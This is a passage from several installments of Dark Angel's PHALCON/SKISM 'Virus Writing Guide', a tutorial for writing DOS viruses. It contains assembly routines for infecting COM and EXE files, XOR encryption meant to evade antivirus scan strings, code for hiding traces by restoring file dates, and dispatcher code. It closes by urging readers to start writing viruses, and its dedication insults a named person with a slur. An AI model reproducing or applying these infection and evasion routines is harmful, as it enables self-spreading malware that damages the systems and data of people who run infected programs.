mov cx, endofvirus - startofpart2 ; Effective size of virus
lea dx, [bp+startofpart2] ; Begin write at start
int 21h
; Variables
buffer1 db 3 dup (?) ; Saved bytes from the
; infected file to restore
; later
buffer2 db 3 dup (?) ; Temp buffer
After some examination, this code will prove to be easy to understand. It
starts by reading the first three bytes into a buffer. Note that you could
have done this in an earlier step, such as when you are checking for a
previous infection. If you have already done this, you obviously don't
need to do it again. This buffer must be stored in the virus so it can be
restored later when the code is executed.
EXE infections are also simple, although a bit harder to understand.
First, the thoery. Here is the format of the EXE header:
Ofs Name Size Comments
00 Signature 2 bytes always 4Dh 5Ah (MZ)
*02 Last Page Size 1 word number of bytes in last page
*04 File Pages 1 word number of 512 byte pages
06 Reloc Items 1 word number of entries in table
08 Header Paras 1 word size of header in 16 byte paras
0A MinAlloc 1 word minimum memory required in paras
0C MaxAlloc 1 word maximum memory wanted in paras
*0E PreReloc SS 1 word offset in paras to stack segment
*10 Initial SP 1 word starting SP value
12 Negative checksum 1 word currently ignored
*14 Pre Reloc IP 1 word execution start address
*16 Pre Reloc CS 1 word preadjusted start segment
18 Reloc table offset 1 word is offset from start of file)
1A Overlay number 1 word ignored if not overlay
1C Reserved/unused 2 words
* denotes bytes which should be changed by the virus
To understand this, you must first realise that EXE files are structured
into segments. These segments may begin and end anywhere. All you have to
do to infect an EXE file is tack on your code to the end. It will then be
in its own segment. Now all you have to do is make the virus code execute
before the program code. Unlike COM infections, no program code is
overwritten, although the header is modified. Note the virus can still
have the V1/V2 structure, but only V2 needs to be concatenated to the end
of the infected EXE file.
Offset 4 (File Pages) holds the size of the file divided by 512, rounded
up. Offset 2 holds the size of the file modulo 512. Offset 0Eh holds the
paragraph displacement (relative to the end of the header) of the initial
stack segment and Offset 10h holds the displacement (relative to the start
of the stack segment) of the initial stack pointer. Offset 16h holds the
paragraph displacement of the entry point relative to the end of the header
and offset 14h holds the displacement entry point relative to the start of
the entry segment. Offset 14h and 16h are the key to adding the startup
code (the virus) to the file.
Before you infect the file, you should save the CS:IP and SS:SP found in
the EXE header, as you need to restore them upon execution. Note that
SS:SP is NOT stored in Intel reverse-double-word format. If you don't know
what I'm talking about, don't worry; it's only for very picky people. You
should also save the file length as you will need to use that value several
times during the infection routine. Now it's time to calculate some
offsets! To find the new CS:IP and SS:SP, use the following code. It
assumes the file size is loaded in DX:AX.
mov bx, word ptr [bp+ExeHead+8] ; Header size in paragraphs
; ^---make sure you don't destroy the file handle
mov cl, 4 ; Multiply by 16. Won't
shl bx, cl ; work with headers > 4096
; bytes. Oh well!
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
; Now DX:AX is loaded with file size minus header size
mov cx, 10h ; DX:AX/CX = AX Remainder DX
div cx
This code is rather inefficient. It would probably be easier to divide by
16 first and then perform a straight subtraction from AX, but this happens
to be the code I chose. Such is life. However, this code does have some
advantages over the more efficient one. With this, you are certain that
the IP (in DX) will be under 15. This allows the stack to be in the same
segment as the entry point, as long as the stack pointer is a large number.
Now AX*16+DX points to the end of code. If the virus begins immediately
after the end of the code, AX and DX can be used as the initial CS and IP,
respectively. However, if the virus has some junk (code or data) before
the entry point, add the entry point displacement to DX (no ADC with AX is
necessary since DX will always be small).
mov word ptr [bp+ExeHead+14h], dx ; IP Offset
mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module
The SP and SS can now be calculated. The SS is equal to the CS. The
actual value of the SP is irrelevant, as long as it is large enough so the
stack will not overwrite code (remember: the stack grows downwards). As a
general rule, make sure the SP is at least 100 bytes larger than the virus
size. This should be sufficient to avoid problems.
mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS
mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
All that is left to fiddle in the header is the file size. Restore the
original file size from wherever you saved it to DX:AX. To calculate
DX:AX/512 and DX:AX MOD 512, use the following code:
mov cl, 9 ; Use shifts again for
ror dx, cl ; division
push ax ; Need to use AX again
shr ax, cl
adc dx, ax ; pages in dx
pop ax
and ah, 1 ; mod 512 in ax
mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in
mov word ptr [bp+ExeHead+2], ax ; the EXE header.
All that is left is writing back the EXE header and concatenating the virus
to the end of the file. You want code? You get code.
mov ah, 3fh ; BX holds handle
mov cx, 18h ; Don't need entire header
lea dx, [bp+ExeHead]
int 21h
call infectexe
mov ax, 4200h ; Rewind to beginning of
xor cx, cx ; file
xor dx, dx
int 21h
mov ah, 40h ; Write header back
mov cx, 18h
lea dx, [bp+ExeHead]
int 21h
mov ax, 4202h ; Go to end of file
xor cx, cx
xor dx, dx
int 21h
mov ah, 40h ; Note: Only need to write
mov cx, part2size ; part 2 of the virus
lea dx, [bp+offset part2start] ; (Parts of virus
int 21h ; defined in first
; installment of
; the guide)
Note that this code alone is not sufficient to write a COM or EXE infector.
Code is also needed to transfer control back to the parent program. The
information needed to do this shall be presented in the next installment.
In the meantime, you can try to figure it out on your own; just remember
that you must restore all that you changed.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
STEP 5 - COVER YOUR TRACKS
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This step, though simple to do, is too easily neglected. It is extremely
important, as a wary user will be alerted to the presence of a virus by any
unnecessary updates to a file. In its simplest form, it involves the
restoration of file attributes, time and date. This is done with the
following:
mov ax, 5701h ; Set file time/date
mov dx, word ptr [bp+f_date] ; DX = date
mov cx, word ptr [bp+f_time] ; CX = time
int 21h
mov ah, 3eh ; Handle close file
int 21h
mov ax, 4301h ; Set attributes
lea dx, [bp+offset DTA + 1Eh] ; Filename still in DTA
xor ch, ch
mov cl, byte ptr [bp+f_attrib] ; Attribute in CX
int 21h
Remember also to restore the directory back to the original one if it
changed during the run of the virus.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
WHAT'S TO COME
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
I have been pleased with the tremendous response to the last installment of
the guide. Next time, I shall cover the rest of the virus as well as
various tips and common tricks helpful in writing virii. Until then, make
sure you look for 40Hex, the official PHALCON/SKISM magazine, where we
share tips and information pertinent to the virus community.

442
textfiles.com/virus/ps-vir3.txt Normal file
View File

@@ -0,0 +1,442 @@
//==// // // /|| // //==== //==// //| //
// // // // //|| // // // // //|| //
//==// //==// //=|| // // // // // || //
// // // // || // // // // // ||//
// // // // || //==== //==== //==// // ||/
/==== // // // /==== /| /|
// // // // // //| //|
===\ // // // ===\ //|| //||
// // \\ // // // ||// ||
====/ // \\ // ====/ // ||/ ||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DISCLAIMER: I hereby claim to have written this
file.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DEDICATION: This is dedicated to Patty Hoffman,
that fat bitch who doesn't know her own name,
and to the millions of dumb fools who were so
scared by Michelangelo that they didn't touch
their computers for an entire day.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GREETS: to all PHALCON/SKISM members especially
Garbageheap, Hellraiser, and Demogorgon.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Dark Angel's Crunchy Virus Writing Guide
<20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
"It's the right thing to do"
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INSTALLMENT III: NONRESIDENT VIRII, PART II
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Welcome to the third installment of my Virus Writing Guide. In the
previous installment, I covered the primary part of the virus - the
replicator. As promised, I shall now cover the rest of the nonresident
virus and present code which, when combined with code from the previous
installment, will be sufficient to allow anyone to write a simple virus.
Additionally, I will present a few easy tricks and tips which can help
optimise your code.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
THE CONCEALER
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The concealer is the most common defense virus writers use to avoid
detection of virii. The most common encryption/decryption routine by far
is the XOR, since it may be used for both encryption and decryption.
encrypt_val dw ? ; Should be somewhere in decrypted area
decrypt:
encrypt:
mov dx, word ptr [bp+encrypt_val]
mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
lea si, [bp+part_to_encrypt_start]
mov di, si
xor_loop:
lodsw
xor ax, dx
stosw
loop xor_loop
The previous routine uses a simple XOR routine to encrypt or decrypt code
in memory. This is essentially the same routine as the one in the first
installment, except it encrypts words rather than bytes. It therefore has
65,535 mutations as opposed to 255 and is also twice as fast. While this
routine is simple to understand, it leaves much to be desired as it is
large and therefore is almost begging to be a scan string. A better method
follows:
encrypt_val dw ?
decrypt:
encrypt:
mov dx, word ptr [bp+encrypt_val]
lea bx, [bp+part_to_encrypt_start]
mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
xor_loop:
xor word ptr [bx], dx
add bx, 2
loop xor_loop
Although this code is much shorter, it is possible to further reduce its
size. The best method is to insert the values for the encryption value,
BX, and CX, in at infection-time.
decrypt:
encrypt:
mov bx, 0FFFFh
mov cx, 0FFFFh
xor_loop:
xor word ptr [bx], 0FFFFh
add bx, 2
loop xor_loop
All the values denoted by 0FFFFh may be changed upon infection to values
appropriate for the infected file. For example, BX should be loaded with
the offset of part_to_encrypt_start relative to the start of the infected
file when the encryption routine is written to the infected file.
The primary advantage of the code used above is the minimisation of scan
code length. The scan code can only consist of those portions of the code
which remain constant. In this case, there are only three or four
consecutive bytes which remain constant. Since the entire encryption
consist of only about a dozen bytes, the size of the scan code is extremely
tiny.
Although the function of the encryption routine is clear, perhaps the
initial encryption value and calculation of subsequent values is not as
lucid. The initial value for most XOR encryptions should be 0. You should
change the encryption value during the infection process. A random
encryption value is desired. The simplest method of obtaining a random
number is to consult to internal clock. A random number may be easily
obtained with a simple:
mov ah, 2Ch ; Get me a random number.
int 21h
mov word ptr [bp+encrypt_val], dx ; Can also use CX
Some encryption functions do not facilitate an initial value of 0. For an
example, take a look at Whale. It uses the value of the previous word as
an encryption value. In these cases, simply use a JMP to skip past the
decryption routine when coding the virus. However, make sure infections
JMP to the right location! For example, this is how you would code such a
virus:
org 100h
start:
jmp past_encryption
; Insert your encryption routine here
past_encryption:
The encryption routine is the ONLY part of the virus which needs to be
unencrypted. Through code-moving techniques, it is possible to copy the
infection mechanism to the heap (memory location past the end of the file
and before the stack). All that is required is a few MOVSW instructions
and one JMP. First the encryption routine must be copied, then the
writing, then the decryption, then the RETurn back to the program. For
example:
lea si, [bp+encryption_routine]
lea di, [bp+heap]
mov cx, encryption_routine_size
push si
push cx
rep movsb
lea si, [bp+writing_routine]
mov cx, writing_routine_size
rep movsb
pop cx
pop si
rep movsb
mov al, 0C3h ; Tack on a near return
stosb
call [bp+heap]
Although most virii, for simplicity's sake, use the same routine for both
encryption and decryption, the above code shows this is completely
unnecessary. The only modification of the above code for inclusion of a
separate decryption routine is to take out the PUSHes and replace the POPs
with the appropriate LEA si and MOV cx.
Original encryption routines, while interesting, might not be the best.
Stolen encryption routines are the best, especially those stolen from
encrypted shareware programs! Sydex is notorious for using encryption in
their shareware programs. Take a look at a shareware program's puny
encryption and feel free to copy it into your own. Hopefully, the anti-
viral developers will create a scan string which will detect infection by
your virus in shareware products simply because the encryption is the same.
Note that this is not a full treatment of concealment routines. A full
text file could be written on encryption/decryption techniques alone. This
is only the simplest of all possible encryption techniques and there are
far more concealment techniques available. However, for the beginner, it
should suffice.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
THE DISPATCHER
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The dispatcher is the portion of the virus which restores control back to
the infected program. The dispatchers for EXE and COM files are,
naturally, different.
In COM files, you must restore the bytes which were overwritten by your
virus and then transfer control back to CS:100h, which is where all COM
files are initially loaded.
RestoreCOM:
mov di, 100h ; We are copying to the beginning
lea si, [bp+savebuffer] ; We are copying from our buffer
push di ; Save offset for return (100h)
movsw ; Mo efficient than mov cx, 3, movsb
movsb ; Alter to meet your needs
retn ; A JMP will also work
EXE files require simply the restoration of the stack segment/pointer and
the code segment/instruction pointer.
ExeReturn:
mov ax, es ; Start at PSP segment
add ax, 10h ; Skip the PSP
add word ptr cs:[bp+ExeWhereToJump+2], ax
cli
add ax, word ptr cs:[bp+StackSave+2] ; Restore the stack
mov ss, ax
mov sp, word ptr cs:[bp+StackSave]
sti
db 0eah ; JMP FAR PTR SEG:OFF
ExeWhereToJump:
dd 0
StackSave:
dd 0
ExeWhereToJump2 dd 0
StackSave2 dd 0
Upon infection, the initial CS:IP and SS:SP should be stored in
ExeWhereToJump2 and StackSave2, respectively. They should then be moved to
ExeWhereToJump and StackSave before restoration of the program. This
restoration may be easily accomplished with a series of MOVSW instructions.
Some like to clear all the registers prior to the JMP/RET, i.e. they issue
a bunch of XOR instructions. If you feel happy and wish to waste code
space, you are welcome to do this, but it is unnecessary in most instances.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
THE BOMB
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
"The horror! The horror!"
- Joseph Conrad, The Heart of Darkness
What goes through the mind of a lowly computer user when a virus activates?
What terrors does the unsuspecting victim undergo as the computer suddenly
plays a Nazi tune? How awful it must be to lose thousands of man-hours of
work in an instant!
Actually, I do not support wanton destruction of data and disks by virii.
It serves no purpose and usually shows little imagination. For example,
the world-famous Michelangelo virus did nothing more than overwrite sectors
of the drive with data taken at random from memory. How original. Yawn.
Of course, if you are hell-bent on destruction, go ahead and destroy all
you want, but just remember that this portion of the virus is usually the
only part seen by "end-users" and distinguishes it from others. The best
examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt.
Don't forget the PHALCON/SKISM line, especially those by me (I had to throw
in a plug for the group)!
As you can see, there's no code to speak of in this section. Since all
bombs should be original, there isn't much point of putting in the code for
one, now is there! Of course, some virii don't contain any bomb to speak
of. Generally speaking, only those under about 500 bytes lack bombs.
There is no advantage of not having a bomb other than size considerations.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
MEA CULPA
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
I regret to inform you that the EXE infector presented in the last
installment was not quite perfect. I admit it. I made a mistake of
colossal proportions The calculation of the file size and file size mod
512 was screwed up. Here is the corrected version:
; On entry, DX:AX hold the NEW file size
push ax ; Save low word of filesize
mov cl, 9 ; 2^9 = 512
shr ax, cl ; / 512
ror dx, cl ; / 512 (sort of)
stc ; Check EXE header description
; for explanation of addition
adc dx, ax ; of 1 to the DIV 512 portion
pop ax ; Restore low word of filesize
and ah, 1 ; MOD 512
This results in the file size / 512 + 1 in DX and the file size modulo 512
in AX. The rest remains the same. Test your EXE infection routine with
Microsoft's LINK.EXE, since it won't run unless the EXE infection is
perfect.
I have saved you the trouble and smacked myself upside the head for this
dumb error.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TIPS AND TRICKS
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
So now all the parts of the nonresident virus have been covered. Yet I
find myself left with several more K to fill. So, I shall present several
simple techniques anyone can incorporate into virii to improve efficiency.
1. Use the heap
The heap is the memory area between the end of code and the bottom of
the stack. It can be conveniently treated as a data area by a virus.
By moving variables to the heap, the virus need not keep variables in
its code, thereby reducing its length. Note that since the contents
heap are not part of the virus, only temporary variables should be
kept there, i.e. the infection routine should not count the heap as
part of the virus as that would defeat the entire purpose of its use.
There are two ways of using the heap:
; First method
EndOfVirus:
Variable1 equ $
Variable2 equ Variable1 + LengthOfVariable1
Variable3 equ Variable2 + LengthOfVariable2
Variable4 equ Variable3 + LengthOfVariable3
; Example of first method
EndOfVirus:
StartingDirectory = $
TemporaryDTA = StartingDirectory + 64
FileSize = TemporaryDTA + 42
Flag = FileSize + 4
; Second method
EndOfVirus:
Variable1 db LengthOfVariable1 dup (?)
Variable2 db LengthOfVariable2 dup (?)
Variable3 db LengthOfVariable3 dup (?)
Variable4 db LengthOfVariable4 dup (?)
; Example of second method
EndOfVirus:
StartingDirectory db 64 dup (?)
TemporaryDTA db 42 dup (?)
FileSize dd ?
Flag db ?
The two methods differ slightly. By using the first method, you
create a file which will be the exact length of the virus (plus
startup code). However, when referencing the variables, size
specifications such as BYTE PTR, WORD PTR, DWORD PTR, etc. must always
be used or the assembler will become befuddled. Secondly, if the
variables need to be rearranged for some reason, the entire chain of
EQUates will be destroyed and must be rebuilt. Virii coded with
second method do not need size specifications, but the resulting file
will be larger than the actual size of the virus. While this is not
normally a problem, depending on the reinfection check, the virus may
infect the original file when run. This is not a big disability,
especially considering the advantages of this method.
In any case, the use of the heap can greatly lessen the effective
length of the virus code and thereby make it much more efficient. The
only thing to watch out for is infecting large COM files where the
heap will "wrap around" to offset 0 of the same segment, corrupting
the PSP. However, this problem is easily avoided. When considering
whether a COM file is too large to infect for this reason, simply add
the temporary variable area size to the virus size for the purposes of
the check.
2. Use procedures
Procedures are helpful in reducing the size of the virus, which is
always a desired goal. Only use procedures if they save space. To
determine the amount of bytes saved by the use of a procedure, use the
following formula:
Let PS = the procedure size, in bytes
bytes saved = (PS - 4) * number invocations - PS
For example, the close file procedure,
close_file:
mov ah, 3eh ; 2 bytes
int 21h ; 2 bytes
ret ; 1 byte
; PS = 2+2+1 = 5
is only viable if it is used 6 or more times, as (5-4)*6 - 5 = 1. A
whopping savings of one (1) byte! Since no virus closes a file in six
different places, the close file procedure is clearly useless and
should be avoided.
Whenever possible, design the procedures to be as flexible as
possible. This is the chief reason why Bulgarian coding is so tight.
Just take a look at the source for Creeping Death. For example, the
move file pointer procedure:
go_eof:
mov al, 2
move_fp:
xor dx, dx
go_somewhere:
xor cx, cx
mov ah, 42h
int 21h
ret
The function was build with flexibility in mind. With a CALL to
go_eof, the procedure will move the file pointer to the end of the
file. A CALL to move_fp with AL set to 0, the file pointer will be
reset. A CALL to go_somewhere with DX and AL set, the file pointer
may be moved anywhere within the file. If the function is used
heavily, the savings could be enormous.
3. Use a good assembler and debugger
The best assembler I have encountered to date is Turbo Assembler. It
generates tight code extremely quickly. Use the /m2 option to
eliminate all placeholder NOPs from the code. The advantages are
obvious - faster development and smaller code.
The best debugger is also made by Borland, the king of development
tools. Turbo Debugger has so many features that you might just want
to buy it so you can read the manual! It can bypass many debugger
traps with ease and is ideal for testing. Additionally, this debugger
has 286 and 386 specific protected mode versions, each of which are
even more powerful than their real mode counterparts.
4. Don't use MOV instead of LEA
When writing your first virus, you may often forget to use LEA instead
of MOV when loading offsets. This is a serious mistake and is often
made by beginning virus coders. The harmful effects of such a
grevious error are immediately obvious. If the virus is not working,
check for this bug. It's almost as hard to catch as a NULL pointer
error in C.
5. Read the latest issues of 40Hex
40Hex, PHALCON/SKISM's official journal of virus techniques and news,
is a publication not to be missed by any self-respecting virus writer.
Each issue contains techniques and source code, designed to help all
virus writers, be they beginners or experts. Virus-related news is
also published. Get it, read it, love it, eat it!
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
SO NOW
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
you have all the code and information sufficient to write a viable virus,
as well as a wealth of techniques to use. So stop reading and start
writing! The only way to get better is through practise. After two or
three tries, you should be well on your way to writing good virii.

377
textfiles.com/virus/ps-vir4.txt Normal file
View File

@@ -0,0 +1,377 @@
//==// // // /|| // //==== //==// //| //
// // // // //|| // // // // //|| //
//==// //==// //=|| // // // // // || //
// // // // || // // // // // ||//
// // // // || //==== //==== //==// // ||/
/==== // // // /==== /| /|
// // // // // //| //|
===\ // // // ===\ //|| //||
// // \\ // // // ||// ||
====/ // \\ // ====/ // ||/ ||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DISCLAIMER: This file is 100% guaranteed to
exist. The author makes no claims to the
existence or nonexistence of the reader.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This space intentionally left blank.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GREETS: Welcome home, Hellraiser! Hello to
the rest of the PHALCON/SKISM crew: Count
Zero, Demogorgon, Garbageheap, as well as
everyone else I failed to mention.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Dark Angel's Clumpy Virus Writing Guide
<20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD>
"It's the cheesiest" - Kraft
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INSTALLMENT IV: RESIDENT VIRII, PART I
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Now that the topic of nonresident virii has been addressed, this series now
turns to memory resident virii. This installment covers the theory behind
this type of virus, although no code will be presented. With this
knowledge in hand, you can boldly write memory resident virii confident
that you are not fucking up too badly.
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
INTERRUPTS
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
DOS kindly provides us with a powerful method of enhancing itself, namely
memory resident programs. Memory resident programs allow for the extention
and alteration of the normal functioning of DOS. To understand how memory
resident programs work, it is necessary to delve into the intricacies of
the interrupt table. The interrupt table is located from memory location
0000:0000 to 0000:0400h (or 0040:0000), just below the BIOS information
area. It consists of 256 double words, each representing a segment:offset
pair. When an interrupt call is issued via an INT instruction, two things
occur, in this order:
1) The flags are pushed onto the stack.
2) A far call is issued to the segment:offset located in the interrupt
table.
